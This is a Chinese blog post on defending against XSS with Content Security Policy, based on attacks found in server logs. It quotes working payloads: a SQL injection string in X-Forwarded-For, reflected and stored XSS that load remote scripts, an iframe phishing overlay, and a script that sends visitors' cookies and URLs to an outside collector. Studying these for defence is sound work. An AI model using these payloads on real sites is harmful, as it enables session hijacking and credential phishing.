防御&捕获XSS漏洞利器之CSP

  1. 云栖社区>
  2. 博客>
  3. 正文

防御&捕获XSS漏洞利器之CSP

sibenx 2016-09-05 17:35:39 浏览3732
展开阅读全文

最近在整理项目组的服务器日志,从海量信息中查找有攻击嫌疑的用户。发现了千奇百怪的攻击手法,不过大部分都是SQL与XSS注入,这里说几个好玩的。

  1. 伪造HTTP_X_FORWARDED_FOR信息

HTTP_X_FORWARDED_FOR = 127.0.0.1', select(0)from(select(sleep(3)))v', 15.19.86.28

普通情况下我们获取到的IP型如 “\$ip = $\_SERVER('HTTP\_X\_FORWARDED\_FOR')” ,直接存入数据库就行。但是如果HTTP\_X\_FORWARDED\_FOR被篡改就会出问题,一是数据库字段超过限制,二是脏数据太多。说严重点会有很大的安全隐患,所以我们在处理IP时务必要先处理后再入库。

该攻击方法正是利用HTTP\_X\_FORWARDED\_FOR的特性来达到攻击行为,HTTP\_X\_FORWARDED\_FOR通过一个逗号+空格把多个IP地址区分开, 最左边是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 如果这个请求成功通过了三台代理服务器,信息如下:proxy1, proxy2, proxy3,所以最左边的信息都是能自定义的。
  1. 利用emoji表情存储漏洞

    大多情况下我们使用的是utf8编码作为数据库的默认编码,utf8编码一个字符最多支持3个字节。然而一个emoji表情占4个字节,所以用户在修改用户名时使用emoji表情(比如微信昵称)就能利用emoji发起攻击。解决办法有两种,一是将emoji表情做一次encode编码,二是修改数据库编码,将utf8换为utf8mb4。utf8mb4编码最多能支持4个字节,并且向下兼容utf8,也是一种趋势,所以建议修改默认编码为utf8mb4。
    

以上问题发现后都能及时修复,对症下药确保之后不会发生。最难防的还属XSS漏洞,XSS攻击成本很低,也是很傻瓜的一种攻击方式,不过简单归简单,防御却困难,很难找到万全的办法,下面说说几个明显的攻击实例。

  1. 反射型XSS,主要通过链接传播。最常见的就是搜索页面,利用搜索内容会直接显示在页面中的特性实现XSS攻击。

    > url: [https://www.***.com/s?wd=/> "\<script src=http://xss.tv/sjpSEz>
    \</script\>](https://www.baidu.com/s?wd=/>"<script src=http://xss.tv/sjpSEz></script>)
    
    这是一个搜索功能,我们在搜索内容中加入了远程调用js的代码。如果XSS成功,我们能将该URL在各大平台传播,这就是常见的反射型XSS。我们再看看这个js文件的内容。
    
    top.document.body.innerHTML = 
    "<iframe width=100% height=100% frameborder=0 scrolling=no 
    style=position:absolute;left:0;top:0 
    src=http://xj.hk/qq.php?qqnum=10010></iframe>";
    通过iframe替换原页面,然后加载钓鱼页面,诱导用户输入账号密码。
    
  2. 存储型XSS,一种影响较大的XSS,持久化的存储在数据库或者服务器中。最常见的比如评论页面,将XSS攻击代码放在评论中,访问到该页面的人都会受到攻击。

    >/>"\<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RqTFPGx';>
    
    这是用户提交到留言板的内容,我们在管理后台如果未做XSS过滤,就会执行远程的js文件,将cookie等信息发送到指定的服务器。下面是该远程js的核心代码:
    
    (function() {
        (new Image()).src = 'http://website.test/index.php?do=api&id=sjpSEz&location=' + escape((function() {
    try {
    return document.location.href
    } catch(e) {
    return ''
    }
        })()) + '&toplocation=' + escape((function() {
    try {
    return top.location.href
    } catch(e) {
    return ''
    }
        })()) + '&cookie=' + escape((function() {
    try {
    return document.cookie
    } catch(e) {
    return ''
    }
        })()) + '&opener=' + escape((function() {
    try {
    return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
    } catch(e) {
    return ''
    }
        })());
    })();
    XSS恶心的地方是只要攻击者成功了当时就能拿到他想要的所有数据,就算修复了漏洞也不一定起作用。比如cookie信息,拿到cookie之后就相当于拥有了管理员权限,就算你修复了XSS的漏洞别人也还是能通过cookie登录。
    
    

XSS太多太难防,有个可行的办法如下。因为XSS都发生在我们的浏览器,所以我们可以利用浏览器的特性CSP(Content Security Policy)去防御大部分XSS,并且能在信息传递到攻击者手中之前做拦截并及时通知到管理员。

下面说说如何设置CSP,首先攻击者可以对我们发起XSS的攻击可能利用到的资源有9类,分别如下:

  • script-src 主要防御远程js
  • style-src 主要防御远程style
  • img-src 主要防御远程图片
  • connect-src 主要防御AJAX,WebSocket,EventSource
  • font-src 主要防御远程字体URL
  • object-src 主要防御 <object>,<embed>,<applet>
  • media-src 主要防御<audio>, <video>
  • frame-src 已过时
  • manifest-src 主要防御manifest文件的加载

其它配置信息:

  • default-src 默认包含如下所有文件的防御
  • sandbox 设置沙盒环境
  • report-uri 发生错误时将详细XSS信息发送到该url
  • child-src 主要防御 <frame>,<iframe>
  • form-action 主要防御 <form>
  • frame-ancestors 主要防御 <frame>,<iframe>,<object>,<embed>,<applet>
  • plugin-types 主要防御 <object>,<embed>,<applet>

我们需要根据自己的业务需求选择配置项,比如我配置了如下信息:

Content-security-policy:
img-src 'self' data: http://*.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;
object-src 'self';
report-uri /test/csp

通过具体的业务,我指定了图片,js文件,视频音乐等资源文件的来源。然后将错误信息发送到 /test/csp。要让代码生效,我们只需要在Header下加入如上信息即可,这里以PHP为例:

header("Content-security-policy:".
"img-src 'self' data: http://*.xxx.com;".
"script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;".
"object-src 'self';"
."report-uri /test/csp");

需要特别注意的信息是Data URI scheme资源,比如:

  • data:,文本数据
  • data:text/plain,文本数据
  • data:text/html,HTML代码
  • data:text/css;base64,css代码
  • data:text/javascript;base64,javascript代码
  • data:image/x-icon;base64,base64编码的icon图片数据
  • data:image/gif;base64,base64编码的gif图片数据
  • data:image/png;base64,base64编码的png图片数据
  • data:image/jpeg;base64,base64编码的jpeg图片数据

针对这类数据我们需要单独设置,比如"img-src 'self' data: ",其中的 “data: ”就是表明允许Data URI scheme图片资源加载,否则会报错。还有很多更深入的玩法,需要自行去挖掘。

通过CSP我们能在XSS漏洞产生不可逆转的影响之前捕获到,能防御大部分的XSS攻击。至于能不能百分百防御,或者在某些场景下能不能绕过我还未深入研究。如果以前是70分,加了CSP能提高到95分,为什么不做呢!

PS: 文章为原创,未通过本人同意不允许转载。

网友评论

登录后评论
0/500
评论